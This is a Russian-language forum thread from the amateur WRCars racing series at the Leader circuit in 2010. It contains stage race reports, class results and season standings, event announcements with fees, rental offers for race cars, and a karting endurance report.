    Класс «Б» продолжают покорять новые BMW M3. Это была третья или четвёртая по счёту. В их красоте и мощи не хватает только стабильности и регулярности выступлений. Лучшим остаётся Артур Кушнир, все мы помним такого пилота, высшие достижения для M3 на его счету. На четвёртый этап приехал Илья, друг, также не безвестного Андрея Аристархова (поэтому не удивляйтесь, что он именно так и записан в протоколах), при этом показал очень приличный результат сходу - по 1.08 на круге.

    Юрий Разин продолжает чередовать авто от этапа к этапу – Opel Vectra OPC снова быстрее Mercedes. Юрий может и недоволен ещё итоговыми временами, но итоговые результаты могут его порадовать, за первый полный месяц участия, он максимально близко подобрался к итоговой тройке, - четвертое место по итогам Айвенго Cup.

    Очередной подиум для Дмитрия Квер на Saab 9-3 Aero и искренние поздравления. Дмитрий начинает собирать хорошие результаты и в любых условиях претендует на высокие места. Победу на этапе разыграли между собой Татьяна Шаталина и Даниил Деркач, оба управляли MMC Lancer Ralliart.

    Разрыв снова был минимальным, пол секунды по итогам лучших попыток и победила в итоге Татьяна, по итогам Кубка она заняла достойное второе место, ибо победу заранее себе обеспечил Алексей Курилкин на Golf R32.


    И главным экшеном, стал вновь восполненный, класс «А». Третью убедительную победу подряд одержал – Сергей Афров, и хоть его ВАЗ 21093 так и не вышел их 1.03 на круге, конкуренты остаются в глубоком раздумье как с ним бороться. Второе место у Валерия Мишакова на Toyota Levin, на протяжении всего Кубка он был главным преследователем Сергея и по итогам также стал вторым.

    Приятный сюрприз третье место Александра Гонсалеза, знакомое имя – не так ли? Снова звучная Honda Integra, рассекала трек и если по началу его результаты были в районе пятого места, решающей попыткой он смог обойти Игоря Леушина и Антона Щербакова. Антон вообще порадовал в этот раз, ибо выступал на Citroen C2 VTR и выжав из него всё показал пятый результат. Четвертым снова был Игорь Леушин, сегодня он смог выйти из 1.06, дальнейший прогресс остановили тормоза. Главное Игорь реально завёлся в борьбе за результат и ждём его на новых стартах.

    Ещё одним особенным гостем стал Артём Каменский, да-да, брат Ильи. Артёма мы вообще сначала очень круто завернули в класс «В», но оценив как едет пилот и как не едет авто – присмотрелись к заявке. Оказалось всё просто, Impreza 1,5 и класс «А». Поначалу машина никак не хотела выходить из 1.10 на круге, даже Андрей Лета сделал заезд за её рулём, но также безрезультатно. Однако, когда сам Артём снова взялся за дело – результаты пошли вверх, и 1.10 покорилась и даже 1.09 чуть не упала.
    Реально первый раз участвовал в наших соревнованиях – Андрей Соболев и выступал на ВАЗ 2114 под 14 номером. Возможно, не в последнюю очередь результаты Сергея Афрова привлекают новых пилотов, так что – дерзайте! Не сказал ещё про Дмитрия Савельева на Skoda Fabia, а у него лучший личный результат между прочим и вообще он в очередной раз демонстрирует, что гоняться может каждый.


    В начале всегда тяжело и результаты не радуют. Но добраться наверх при должном желании получалось у всех!

    Всё самое лучшее и интересное в фотоотчёте Тани (фото стали светлее, не находите?))
    http://wrcars.ru/forum/gallery/album.php?album_id=43


    Результаты http://www.wrcars.ru/races/r10-62-0-0-0
    Поздравляем призёров финального этапа:
    4 этап Класс «А»
    1 место – Сергей Афров [ВАЗ 21093] 10 очков
    2 место – Валерий Мишаков [Toyota Levin] 9 очков
    3 место – Александр Гонсалез [Honda Integra] 8 очков

    4 этап Класс «Б»
    1 место – Татьяна Шаталина [MMC Lancer Ralliart] 10 очков
    2 место – Даниил Деркач [MMC Lancer Ralliart] 9 очков
    3 место – Дмитрий Квер [Saab 9-3 Aero] 8 очков

    4 этап Класс «В»
    1 место – Ольга Баклунова [Porsche 911 GT3] 10 очков
    2 место – Максим Карнаухов [Smart Roadster] 9 очков
    3 место – Олег Кубарев [MMC Lancer Evo 9] 8 очков

    4 этап Класс «Анлимитед»
    1 место – Андрей Черковец [MMC Lancer Evo 9] 10 очков
    2 место – Денис Савиных [MMC Lancer Evo 8] 9 очков


    Данные по лучшим кругам можно посмотреть здесь

    Награждение – скоро.

    (копирайт)

    Добавлено через 41 секунду
    Официальные итоги чемпионата WRCars: Айвенго Cup.



    Невероятно, но позади уже семь ежемесячных чемпионатов WRCars! Впереди только один, но не последний, ибо мы помним и знаем, что осень проходит в достаточно насыщенном режиме и автомобильные гонки, не будут ограничены для Вас ежемесячными Кубками WRCars. Всё зависит от вашего непосредственного интереса, а погоду мы сделаем.
    Это первый Кубок прошедший, по прошлогодней очковой системе, всё таки она более справедлива. Неизменным остаётся система брать три лучших результата из четырёх в итоговый зачёт, что помогает некоторым решать задачи даже заранее.
    И перед объявлением итогов, хочу сказать, что даже самую серьёзную работу нельзя делать без удовольствия, что ещё раз доказали победители всего Айвенго Cup!

    Класс «А»
    1. Сергей Афров [ВАЗ 21093] 30 очков
    2. Валерий Мишаков [Toyota Levin] 27 очков
    3. Станислав Кутузов [ВАЗ 21104] 21 очко

    Класс «Б»
    1. Алексей Курилкин [VW Golf R32] 30 очков
    2. Татьяна Шаталина [MMC Lancer RalliArt] 28 очков
    3. Даниил Деркач [BMW 135 & MMC Lancer RalliArt] 26 очков

    Класс «В»
    1. Ольга Баклунова [Porsche 911 GT3] 29 очков
    2. Максим Карнаухов [Smart Roadster & Honda S2000] 27 очков
    3. Дмитрий Лихачёв [BMW 135] 15 очков

    Класс «Анлимитед»
    1. Андрей Черковец [MMC Lancer Evo 9] 28 очков
    2. Давид Рамишвили [Subaru Impreza WRX STI S204] 20 очков
    3. Александр Гюрджиди [MMC Lancer Evo 9] 19 очков


    (копирайт)

    Добавлено через 7 часов 32 минуты
    Осенний Кубок WRCars. Анонс первого этапа.



    Впереди только один месяц, один Кубок, последняя возможность победить, чтобы встретиться на гонке чемпионов WRCars сезона 2010!

    Осенний Кубок WRCars объявляется открытым!

    Старт 25 сентября, в субботу! Ждём вас на автодроме к 21:00.


    Заезды будут проходить в квалификационном режиме на лучший круг. У каждого участника по четыре круга в попытке, достаточно, чтобы прогреть резину и сделать один классный круг.

    Лучший круг: в зачёт идёт время одного лучшего круга в попытке.
    В зачет «месячного» Кубка WRCars идут 3 этапа.
    Круговая система: 1 – установочный круг – 4 боевых круга – 1- круг возвращения.

    Расчет стоимости заезда:
    Первый заезд 1000 руб.
    Второй заезд 800 руб.
    Третий заезд 600 руб.
    Четвертый заезд 500 руб.
    Пятый заезд 400 руб.
    Шестой заезд 200 руб.
    Безлимитный абонемент на день 3500 руб.

    Победители Кубка получают:
    1 место – 3 часа свободных заездов на автодроме
    2 место – 2 часа бесплатных тренировок
    3 место – 1 час
    Бесплатные часы тренировок на автомобиле предоставляются призёрам по итогам всего Осеннего Кубка WRCars в каждом из четырёх классов!

    Добро пожаловать на финишный спурт!

    P.S. Награждение за Айвенго Cup назначено на второй этап – 2 октября.

    Вопросы:
    Стас
    8 (964) 502-82-39
    Владимир
    8 (926) 105-68-54
    Схема проезда на автодром Лидер: http://maps.yandex.ru/-/CFXj4nC

    Добавлено через 22 часа 56 минут
    И мы продолжаем сотрудничество с Артёмом и Фёдором, теперь более плотно, внимание, объявление:

    Итак.
    Касательно автомобилей.


    1.
    Fisher Fury


    Маленький английский родстер.
    Классический кит-кар с идеологией мало массы — много динамики.
    В основе — рама, выполненная из стальных профилей, кузовные панели стеклопластиковые.
    Проверенные гонками подвески на треугольных рычагах, регилируемые аммортизаторы SPAX.
    Разумеется, самое интересное в машине — двигатель.
    Сейчас это 1000-кубовый мотор от мотоцикла Yamaha R1.
    Соответственно в распоряжении пилота имеются 180 взрывных лошадиных сил при 12500 оборотах в минуту, и это на 430 кг массы автомобиля (с пилотом больше на массу пилота :) ), кроме того, «в комплекте» мы получаем секвентальную кулачковую коробку передач о 6 ступенях.
    Стоит заметить, что Fury, в силу конструктивных особенностей трансмиссии, может использовать все 6 передач как для движения в классическом направлении, так и для движения задним ходом :).
    Добавим сюда очень острую рулевую рейку (на «Лидере» машина в принципе не требует перехвата, даже в шпильках), полное отсутствие любой помощи пилоту (Fury не имеет ESP, traction-контроля, ABS, и т.п. систем, более того, в тормозах даже отсутствует вакуумный усилитель) и получим Ultimate Training Tool, с которым пилот ведет диалог с трассой без посредников.

    Цена аренды
    в рамках наших тренировок — 10000/час
    в рамках WRCars по субботам — 10000/не более 8 заездов
    в рамках тренировок WRCars и других тренировок такого формата — 10000/час

    инструктор на любом из наших автомобилей идет «в комплекте»

    2.
    Subaru Impreza STI


    Подготовленный к гонкам автомобиль.
    Наибольшее внимание при подготовке уделено безопасности.
    В машине установлен вварной каркас, гоночные сиденья (водительское — Sabelt, штурманское — Recaro), гоночные 6-ти точечные ремни безопасности (Sabelt), гоночный руль, система пожаротушения и дополнительный огнетушитель.
    Двигатель от модификации Spec-C, что означает примерно 300 л.с., ороситель интеркулера и т.п.
    Подвеска и тормоза — STI, установлены более злые пружины, а также развал передних и задних колес -3 и -2 градуса соответственно.

    В отличие от Fury — идеальный вариант для начала, т.к. данный автомобиль прощает существенно больше ошибок.

    Цена аренды
    в рамках наших тренировок — 12000/час
    в рамках WRCars по субботам — 12000/не более 8 заездов
    в рамках тренировок WRCars и других тренировок такого формата — 12000/час

    также за дополнительную плату можно поставить машину на «слики».


    3.
    Онборд-камера + система сбора данных AIM SmartyCam.

    Снаружи — обычаня онборд-камера на присоске.
    Однако, кроме непосредственно записи видео, накладывает на него время кргуа, скорость, продольные и поперечные ускорения, что помогает работать с пилотом не только во время заезда, но и после, в спокойно обстановке разбирая отснятый материал и полученные данные.

    Следующий этап подразумевает подключение к CAN-шине автомобля с помощью ECU-bridge, что позволяет накладывать на видео еще и обороты, процент открытия дросселя, давление в тормозной системе, угол поворота руля, что еще сильнее помогает в совершенствовании мастерства.

    Самый продвинуты уровень подразумевает преобразование всех этих данных в графики и профессиональную работу с ними. Это помогает собирать самые важные «десятки» и «стоки».

    Цена аренды
    в рамках наших тренировок — 3000/час
    в рамках WRCars по субботам — 500/заезд
    в рамках тренировок WRCars и других тренировок такого формата — 3000/час

    http://www.youtube.com/watch?v=DR7L_ggXV6Y — пример онборда (Мячково)

    По всем вопросам, не стесняйтесь - звоните:
    Артём - 766-48-20
    Фёдор - 8-903-259-32-71
    Последний раз редактировалось WRCars; 24.09.2010 в 12:24. Причина: Добавлено сообщение

  7. #7
    Отчёт о четвёртом этапе Осеннего Кубка WRCars. Party Started.

    Ещё одна суббота. Ещё один гоночный уикэнд. Нестандартное начало и прекрасное завершение.
    Не смейтесь, но мы начали вовремя впервые за долгое время! Старт гонки в 21:00 и первые неожиданные и дорогие гости. А именно Кирилл Качнов – главный редактор журнала ФОРСАЖ. Тут я вспомнил его статью
    Код:
    http://www.f1news.ru/memuar/tour_monza2003.shtml
    , поскольку сам являюсь фанатом F1. А вспомнил, потому что по прошествии стольких лет, - человек не изменяет себе и предпочитает изнутри быть знакомым со всеми автоспортивными событиями. Ещё раз хочу поблагодарить их за поддержку в течении сезона и очень надеюсь, что с нашей стороны были интересные материалы.

    Четвертый, завершающий этап был отложен на неделю. Это было рискованно, но целесообразно, по соображениям условий для проведения гонки. Спасибо тем, кто дождался этого дня и нашёл возможность приехать. А приехали такие люди, такие люди..Татьяна, ты не представляешь какие здесь люди!(с) Немного грустно, что это последний «летний» этап 2010, но заканчиваем мы его с лёгкой душой, поскольку в этот день были настоящие гонки, увлеченные люди и острое соперничество за лучший результат!

    Начинаем заезды.
    В классе «Б» начало было положено фактическим новичком «Лидера», - Сергеем Церт на Citroen C2 и сразу же стал самым быстрым Ситроеном, принимавшем участие в соревнованиях. За что и получил заслуженную бронзу на этапе. Серебро уходит, - практически новичку Александру Кожарину на Skoda Octavia RS. Александр был одним из самых активных на треке и хорошо запомнился, не только вылетом за пределы трассы и ударом о покрышки безопасности, но и тем что применял совершенно разные стили пилотирования и прохождения трассы в поисках оптимального соотношения скорости и риска. Плавно наращивая скорость и работая над временем на круге, он в свою очередь добился лучших секунд для Skoda на этой трассе! А победил, - Максим Белоцкий на Renault Clio RS, в четвёртый раз подряд! Правда, в этот день он был как не в своей тарелке, что-то не то было со скоростью и рулёжкой. Хотя, может нам и показалось, потому что мы ждём всегда каких-то чудес от него. Так или иначе, победил он со значительным отрывом, лучшие секунды 1.01.795.

    Про «Анлим», которому уже не так просто держать «королевскую марку». В этом ему помогли Владислав Аллахвердов и Александр Гюрджиди, оба на Evo 9, - пилоты высочайшего уровня! Владислав имел только один шанс выиграть в этот раз в своём любимом классе, это безусловная победа на 4 этапе при нуле очков для Андрея Иллензеера. Так всё и произошло: Андрей не приехал и можно сказать, упустил верную победу, а Владислав выиграл этап с лучшими секундами 58.807 сек и одержал общую победу при равенстве очков за лучшее среднее время. Александр Гюрджиди успел восстановить автомобиль после очень неприятного общения с покрышками на втором этапе, где он вышел из минуты, и занёс в свой актив ещё 9 очков. Александр составил триумвират чёрных Evo 9, рассекавших наш трек в тот вечер. Ещё два это Олег Кубарев и Денис Савиных.

    Так мы переходим к событиям в классе «В». Где происходила настоящая рубка за победу, лучшие времена, личные рекорды и итоговые позиции по итогам месяца, а состав участников вызывал трепет и уважение. Глупо говорить про человека, что он был «самым медленным» в классе, там где «спокойной ездой» никто не увлекается, про человека который в итоге занял третье общее место и улучшал секунды от этапа к этапу. Но так вышло, что Олег Кубарев занял пятую строчку в своём классе, они первыми вместе с Денисом Савиных выехали на трассу и положили начало круговерти 4-го этапа. Денис первым выполнил задачу, установил время из 1.02 сек и наблюдал за развитием событий. В итоге четвёртое место, которое вывело его в победители Осеннего Кубка WRCars в классе «В». Олег поставил свой лучший круг, буквально на финишном флажке, после нескольких выездов на трассу, когда этого никто уже не ждал, получился убойный круг. Ближе к экватору приехал Дмитрий Милицын на VW Scirocco, претендующий на общую победу. Вот кто действительно удивил! Сначала показал 1.02, т.е. в районе личного рекорда, а завершил свою сессию заездов блестящим временем за гранью 1.01.770, опередив своих прямых конкурентов в очном противостоянии! Это правда, уже похоже на фантастику. Если бы не выступление двух победителей. Итак, Дмитрий занял третье место, а кто же тогда поделили первое и второе? Представляем вашему вниманию Максима Кривобокова на 911 Porsche 415 л.с. Максим не то чтобы новичок, но на Порше до того он приезжал только на тренировки и вот, долгожданный выезд на соревнования. Наблюдать за его заездами, конечно же было большим удовольствием, да и времена соответствовали статусу авто. Как самый активный участник сначала он разменял 1.02, затем и из неё вышел, ещё заезд и 1.01 как не бывало, шутка не шутка, может и из минуты уже попробовать выйти, вот так сходу? Но тут прогресс останавливается, то ли пилот устал, то ли резина, но куда то пропала былая прыть. И тут на первый план выходит Павел Васищев на Toyota Levin, вот на кого тоже любо дорого смотреть, он также выходит из 1.01 и бьёт результат Максима. Но борьба не завершена, Максим отвечает и возвращает себе лучшее время дня 1.00.584! Следующий ход снова за Павлом, попытка в которой он отрабатывал настройки и разные стили пилотирования на каждом круге, оказывается невероятно быстрой, один круг лучше другого и новое недосягаемое время 1.00.220 сек.

    И переходим, к неувядающему классу «А». И неувядающей BMW 325 E30 Кирилла Качнова, к сожалению он повредил свой авто на трассе в кузнечиках и подвеске на Лидере было совсем не просто, поэтому он ограничился одной попыткой, зато открыл наши заезды как таковые. По-моему впервые две Honda Integra Дениса Верте и Александра Гонсалеза приехали вместе на один этап. Денис, что-то был не в лучших кондициях и занял четвёртое место. А вот новый винил на бортах снял секунду с результатов Александра и поздравляем его с серебром на этапе! Третье место долго не хотела брать Анастасия Алексеева на BMW 325i, пока не приехал Максим Белоцкий и именно в одном заезде с ним, Настя поставила лучшие секунда 1.04.346, прекрасная результативность на всех этапах, ведь весь прогресс достигнут исключительно работой пилота. А победу одержал Андрей Аристархов за рулём Renault Clio RS, буквально на глазах за пару месяцев он стал лидером в своём классе!

    Наши мысли уже устремлены (теперь мы спим, едим и отдыхаем, чтоб лучше думалось)) в следующий сезон. Поэтому тем, кто потратил своё время на заполнение анкеты, отдельное спасибо, так мы меньше будем спорить, что же лучше именно вам!

    Результаты 4 этапа и лучшие круги:
    Код:
    http://wrcars.ru/races/r11-66-0-0-0
    Победители:
    4 этап Класс «А»
    1 место – Андрей Аристархов [Renault Clio RS] 10 очков
    2 место – Александр Гонсалез [Honda Integra] 9 очков
    3 место – Анастасия Алексеева [BMW 325i] 8 очков

    4 этап Класс «Б»
    1 место – Максим Белоцкий [Renault Clio Sport] 10 очков
    2 место – Александр Кожарин [Skoda Octavia RS] 9 очков
    3 место – Сергей Церт [Citroen C2] 8 очков

    4 этап Класс «В»
    1 место – Павел Васищев [Toyota Levin] 10 очков
    2 место – Максим Кривобоков [Porsche 911] 9 очков
    3 место – Дмитрий Милицын [VW Scirocco] 8 очков

    4 этап Класс «Анлимитед»
    1 место – Владислав Аллахвердов [MMC Lancer Evo 9] 10 очков
    2 место – Александр Гюрджиди [MMC Lancer Evo 9] 9 очков


    Добавлено через 7 минут
    Официальные итоги Осеннего Кубка WRCars.



    Прекрасный чемпионат, который, несмотря на скромное количество участников, подарил настоящую интригу. И главная его заслуга, в том что он подарил нам новых чемпионов, много новых личных рекордов и позволил достойно закончить сезон начатый ещё в апреле.

    В «Анлиме» сенсационную победу мог одержать Evo 4 с Андреем Иллензеер, в то же время совсем не вовремя выбыл на один этап Александр Гюрджиди и вовремя включился Владислав Аллахвердов. В «А» классе был настойчив Игорь Леушин, по ходу соревнований ему никак не получалось подняться на подиум, но за счёт стабильности он до последнего претендовал на призовые места по итогам всего месяца. Сергей Афров встретил серьезного соперника в лице Андрея Аристархова и если бы не серьёзная поломка у Сергея, быть рубке за победу до последнего круга! И какое неожиданное второе место Александра Гонсалеза, эти Redliners с GTeXtreme, чуть ли не для развлечения приезжавшие покататься, могут занести прошедший месяц себе в серьезный актив! Кто-кто, а они радовали нас не переставая. Но всё это меркнет на фоне успеха, настолько долгожданного и закономерного, а главное очень своевременного, - Анастасии Алексеевой! Третье место!
    И каков наглец Максим Белоцкий! Самым непостижимым образом обставил безоговорочного чемпиона прошедшего кубка – Алексея Курилкина. Алексей при случае ещё отыграется, начало положено, пилоты друг друга стоят. Противостояние закончилось четырьмя подряд победами Максима, тремя вторыми местами Алексея, а бронза второй раз подряд ушла Татьяне Шаталиной. Которая легко и непринуждённо успевала делать фото заездов и обгонять мужчин на треке!
    Заруба в классе «В», в которой в большей степени преуспел Денис Савиных, всего на очко опередив Дмитрия Милицына, который превзошёл в этом месяце сам себя! Снова на подиум вернулся Олег Кубарев, до последнего шедший ноздря в ноздрю с лидерами.

    Если кто запутался: у нас три новых чемпиона в трёх классах. «А» Андрей Аристархов и его Renault Clio RS, первое серебро у Александра Гонсалеза с Honda Integra, первая бронза Анастасии Алексеевой BMW 325i. «Б» тоже новый чемпион – Максим Белоцкий на Renault Clio Sport II. В «Д» всё таки серебро, зато первое получил Андрей Иллензеер Evo 4. И класс «В» Денис Савиных на Evo 9 – первый по итогам месяца.

    Спасибо вам за полную отдачу, каждый раз, как вы оказываетесь на трассе.

    Класс «А»
    1. Андрей Аристархов [Renault Clio RS] 30 очков
    2. Александр Гонсалез [Honda Integra] 26 очков
    3. Анастасия Алексеева [BMW 325i] 24 очко

    Класс «Б»
    1. Максим Белоцкий [Renault Clio Sport] 30 очков
    2. Алексей Курилкин [VW Golf R32] 27 очков
    3. Татьяна Шаталина [MMC Lancer RalliArt] 24 очков

    Класс «В»
    1. Денис Савиных [MMC Lancer Evo 9] 27 очков
    2. Дмитрий Милицын [VW Scirocco] 26 очков
    3. Олег Кубарев [MMC Lancer Evo 9] 24 очков

    Класс «Анлимитед»
    1. Владислав Аллахвердов [MMC Lancer Evo 9] 20 очков
    2. Андрей Иллензеер [MMC Lancer Evo 4] 20 очков
    3. Александр Гюрджиди [MMC Lancer Evo 9] 18 очков


    Добавлено через 12 минут
    Гонка эндуранс по картингу на автодроме «Лидер».
    Межклубное первенство: Mazda3 vs. RX-8 vs. STI vs. Forester





    Воскресный вечер, 24 октября, автодром «Лидер» и встречаем уже знакомые лица в новом амплуа! Не успели отгреметь события автомобильного межклубного противостояния, как мы переносимся на ещё более масштабное и экстремальное первенство. Межклубный эндуранс на картах!
    Спасибо главнокомандующим клубов, проявивших активность и поддержавших нашу затею на «флажке» сезона. Так получилось, что противостояние вышло чисто японским, Subaru против Mazda, а если быть ещё точнее Mazda3, RX-8, STI и Forester. Команды появлялись и новобразовывались прямо на ходу. И даже с учётом недоехавших или «угнанных» прямо с поля боя, состав внушал уважение и предвещал красивую гонку. RX-8 находятся в осеннем отрыве и не отказывают себе ни в одном клубном мероприятии. Их активность особенно похвальна, да и гонщиков там оказывается не два человека. Удивил и произвёл наилучшие впечатление клуб Mazda3, с которыми мы первый раз познакомились на этой гонке. Они выставили сразу две команды и единственную команду, в которой ехали девушки. К слову, по скорости девушки ни чуть не уступали и на их счету же лучший командный круг. Команда Forester же была самой малочисленной, всего два человека, которым предстояла настоящая гонка на «выживание» без права на ошибку.

    Время пришло и все на месте. Никто не бросил клуб, не забил на гонку, не переживал по поводу холода-малоопыта-темно-и страшно. В целом, каждый переживал больше за то чтобы показать хороший личный отрезок, не подвести команду, лёгкий мандраж перед гонкой есть у каждого, даже опытного пилота. Проводим жеребьёвку, определяем стартовые позиции и карты на первый отрезок. Эндуранс проходит на двух типах картов Subaru и Rimo по 13 л.с., у участников по 4 обязательный пит-стопа на команду, во время которого происходит смена пилота и карта. А старт «ле мановский», небольшой забег поперёк стартовой прямой, завод карта и в бой!



    И вот они на старте. Лидерство сразу же захватывают три команды: Mazda 3 (первая команда), STI и Forester. Борьба идёт в каждом повороте, пилоты попеременно атакуют друг друга, лидерство захватывает то одна то друга команда, ни у кого нет ни секунды передохнуть, постоянная атака и оборона собственных позиций. Так продолжалось до первого пит-стопа, после которого началась тактическая гонка. Важно было не только атаковать, но и грамотно продумать время пит-стопов, смену пилотов и картов. Рискованную тактику выбрали Forester с оттянутыми первыми остановками, в первый час они пытались создать задел и отрыв от конкурентов, для двух пилотов это была настоящая гонка на выдержку. Отлично смотрелась первая команда Mazda 3, до конца участвовавшая в распределении призовых мест, но, пожалуй, лишний пит-стоп, не дал им побороться за второе место. Вторая команда Mazda 3, ехала очень быстро, но берегла своих участников и часто сменялась. Немного не повезло клубу RX-8, чтобы зацепиться за призы, они хорошо ехали, использовали грамотную тактику и получили очередную порцию удовольствия. Команда STI преждевременно заехала на пит-стоп и чтобы сохранить шансы на победу, оставшийся отрезок в 40 минут нужно было ехать без остановки, постоянно атакуя. На счастье команды, на последнем этапе ехал Илья Каменский, который блестяще справился с задачей и не оставил конкурентам ни шанса.



    Отличное выступление и красивое противостояние, в двух часовом эндурансе на картах.
    Поздравляем участников!

    1 место – команда STI
    Дистанция: 101 круг
    Лучший круг: 1.06.020
    Пилоты: Илья Каменский, Владимир Бурцев, Виталий Фейлер, Егор, Владимир Даниленко

    2 место – команда Forester
    Дистанция: 100 кругов
    Лучший круг: 1.05.609
    Пилоты: Сергей Хвостов, Сергей Хоточкин

    3 место – команда Mazda3 (1 команда)
    Дистанция: 98 кругов
    Лучший круг: 1.05.721
    Пилоты: Давид, Юрий Чебыкин, Никита Шубин, Роман

    4 место – команда RX-8
    Дистанция: 95 кругов
    Лучший круг: 1.07.757
    Пилоты: Алексей, Дмитрий Каминский, Сергей Кудин, Игорь

    5 место – команда Mazda3 (2 команда)
    Дистанция: 93 круга
    Лучший круг: 1.08.860
    Пилоты: Константин, Елена Гральная, Антон, Елена




    Добавлено через 15 минут
    Цитата Сообщение от mpiligrim Посмотреть сообщение
    Совпало со Смоленском.. так бы скатал =)
    все совпадения не случайны )))) спасибо, всегда рады видеть!

    Добавлено через 20 часов 26 минут
    Гонка чемпионов WRCars 2010. Автодром «Лидер» 30 октября.



    Уважаемые пилоты, чемпионы, да что уж там – звёзды сезона 2010, имеем честь пригласить вас на главный старт сезона!
    Гонка чемпионов WRCars 2010 - Автодром «Лидер» 30 октября.
    Встречаем вас в субботу с 18:00.

    В гонке будут участвовать только призёры ежемесячных первенств.
    Приглашены и Вы в качестве зрителя этого уникального мероприятия!
    Целый день лучшие гонщики на ваших глазах будут бороться за абсолютное чемпионство в каждом из четырёх классов.

    Стартовый взнос: 2000р.

    Формат:
    Квалификация 1 час для всех. Лучший круг по схеме 1-2-1.

    Параллельная гонка:
    Полуфинальные заезды.

    Победители выходят в финал:
    Финальные заезды за третье и первое место.


    Участники гонки чемпионов: сезон 2010
    Те кто побеждал в нескольких классах, имеют право выбора и участия в нескольких классах, в зависимости от того какие автомобили (и их комплектация) будут у вас для гонки.

    Класс «А»: Атмосферный до 2,5 литров
    1. Анастасия Алексеева
    2. Андрей Аристархов
    3. Сергей Афров
    4. Александр Гонсалез
    5. Павел Климовицкий
    6. Станислав Кутузов
    7. Владимир Мануйлов
    8. Валерий Мишаков
    9. Константин Савенко
    10. Евгений Тибанов
    11. Антон Щербаков
    12. Максим Карнаухов
    13. Павел Васищев

    Класс «Б»: Атмосферный более 2,5 литров, а также турбо и роторные
    1. Михаил Белкин
    2. Максим Белоцкий
    3. Сергей Герасимов
    4. Дмитрий Гревцев
    5. Даниил Деркач
    6. Виталий Колей
    7. Алексей Курилкин
    8. Артур Кушнир
    9. Пётр Леонов
    10. Татьяна Шаталина
    11. Максим Карнаухов
    12. Дмитрий Лихачёв
    13. Дмитрий Милицын
    14. Павел Васищев

    Класс «В»: STI и Evo
    1. Ольга Баклунова
    2. Павел Васищев
    3. Кирилл Зейликман
    4. Максим Карнаухов
    5. Олег Кубарев
    6. Виталий Курдовер
    7. Винсент Лабедан
    8. Андрей Лета
    9. Дмитрий Лихачев
    10. Дмитрий Милицын
    11. Андрей Подборный
    12. Денис Савиных
    13. Заур Шугушев
    14. Виталий Колей
    15. Александр Гюрджиди

    Класс «Д»: Анлим
    1. Владислав Аллахвердов
    2. Александр Гюрджиди
    3. Андрей Иллензеер
    4. Илья Каменский
    5. Кирилл Овчаренко
    6. Давид Рамишвили
    7. Евгений Альпинский
    8. Андрей Черковец
    9. Кирилл Зейликман

    Последний раз редактировалось WRCars; 29.10.2010 в 12:31. Причина: Добавлено сообщение

  8. #8
    Супер Кубок WRCars. Параллельная гонка.
    Первый старт.


    Запуск корабля «WRCars – новый формат», прошёл успешно!

    Огромное спасибо компании FOX Exhaust Systems выхлопные системы за оказанную поддержку.

    В результате которой, без подарков реально никто не уехал.
    Приз «За самое большое количество квалификационных попыток» ушёл – Анастасии Алексеевой на BMW 325i
    Приз «За самый медленный круг в квалификации» получил – Кирилл Джусь на Mazda 3 sport
    Болельщики, приехавшие на соревнование, получили сразу – четыре специальных приза!
    И, конечно, наши призёры, в каждом классе были отмечены ценными подарками.

    Со своей стороны, участникам было предоставлено – всё что обещано. Старт перенесли с пятницы на воскресенье, паркинг осветили, музыку привезли. В регламент добавился пятый класс, а формат гонок приобрёл новую составляющую, помимо атаки на время – парную дуэль в стиле раллийных суперспешл. И изменение, которое можно назвать главным, это награждение: призовой фонд теперь составляют стартовые взносы за участие в гонке! Хочется верить, что это сделает гоночный уик-энд разнообразней и привлечёт новых участников!

    Заезды начались с квалификации участников и проходили по стандартной схеме 1-2-1. Самая активная была первая четвёрка, а затем к ним присоединились и остальные участники. Квалификация длилась чуть больше часа и после того как были подведены итоги, пришло время для главного действа, истинных гонок – параллельных стартов! На первую гонку прибыло меньше участников, чем ожидалось, поэтому мы решили продлить удовольствие и устроить в каждом заезде по два боевых круга. Также решили, что участник показавший время лучше, чем его оппонент – выбирает место первого старта, внутреннюю или дальнюю прямую.

    Квалификация:
    Максим Белоцкий - 1.01.678
    Кирилл Джусь - 1.04.956
    Алексей Кузьминов - 1.02.498
    Анатолий Ёршиков - 1.04.433
    Ананстасия Алексеева - 1.04.906
    Руслан Смагин - 1.01.536
    Владислав Аллахвердов - 58.933

    Стартовали мы сразу с финала в классе «Б». Где сошлись Максим Белоцкий на Renault Clio Sport и Кирилл Джусь на Mazda 3 sport. Не смотря на большую разницу в квалификации, Кирилл оказал активное сопротивление, а Максим даже пару раз перестарался и ошибся на трассе. Но, как итог, всё равно две победы подряд Максима – первое место и 1200 за победу, второе у Кирилла и 600 за призовое место.

    Далее следовал экспресс из гонок в объединённом классе «Анлим». Первый полуфинал, за право сразиться в финале за победу с Владиславом Аллахвердовым на Evo 9, к слову самым быстрым в квалификации. Гонка, на старт выходят Анатолий Ёршиков на Opel Corsa OPC и Руслан Смагин на Subaru Impreza WRX STI. Тут соперничество было ещё более острым, первые пол круга Анатолий стабильно шёл впереди, первый круг вровень, а затем Руслан начинал отрываться. Обе гонки прошли по похожему сценарию и Руслан победил 2:0. И вот, финал с самым быстрым соперником – Руслан Смагин Subaru STI против Владислава Аллахвердова Evo 9. Владислав долго ждал своей гонки, но смог оставаться сосредоточенным всё это время, не оставив ни шанса Руслану в финале, также две победы подряд и безошибочный пилотаж.

    И класс «В», где сошлись две серебряные BMW и две маленькие, но очень быстрые чёрные машины. Первый полуфинал: и пришло время выезжать Анастасии Алексеевой на BMW 325 против Анатолия Ёршикова на Opel Corsa OPC. Самым плотным был финиш первой гонки, Анастасия серьезно прибавила в гонке и не давала спуску Анатолию. Первая победа одержана в упорной борьбе, а за ней и вторая, - Анатолий в финале. И тут главный сюрприз – Максим Белоцкий оплатил стартовый взнос за участие в ещё одном классе и выходит на трассу с Алексеем Кузьминовым на BMW 330 coupe, во втором полуфинале. И после двух серьёзных схваток выходит в финал. Итак, гонка за третье место: две BMW и финал две быстрые маленькие чёрные машины Opel Corsa OPC и Renault Clio Sport II. BMW укатали нас в финале за третье место по полной программе, первую гонку выиграл Алексей, вторую Настя и только в третьей решился исход – подиум достался Алексею Кузьминову, который получил 400 на бензин) В финале Анатолий Ёршиков был очень хорош, хоть и проиграл Максиму, но гонка была практически равной и получил 1200 призовых, Максим за победу в классе взял самый крупный приз – 2400.

    Времена парных заездов -
    Код:
    http://wrcars.ru/forum/viewtopic.php?f=11&t=332#p1871
    Прекрасная гонка, удовольствие от участия в которой получили все, завершилась ровно по-полуночи. А значит, - до новых встреч, следите за анонсами!

    Фотоотчёт -
    Код:
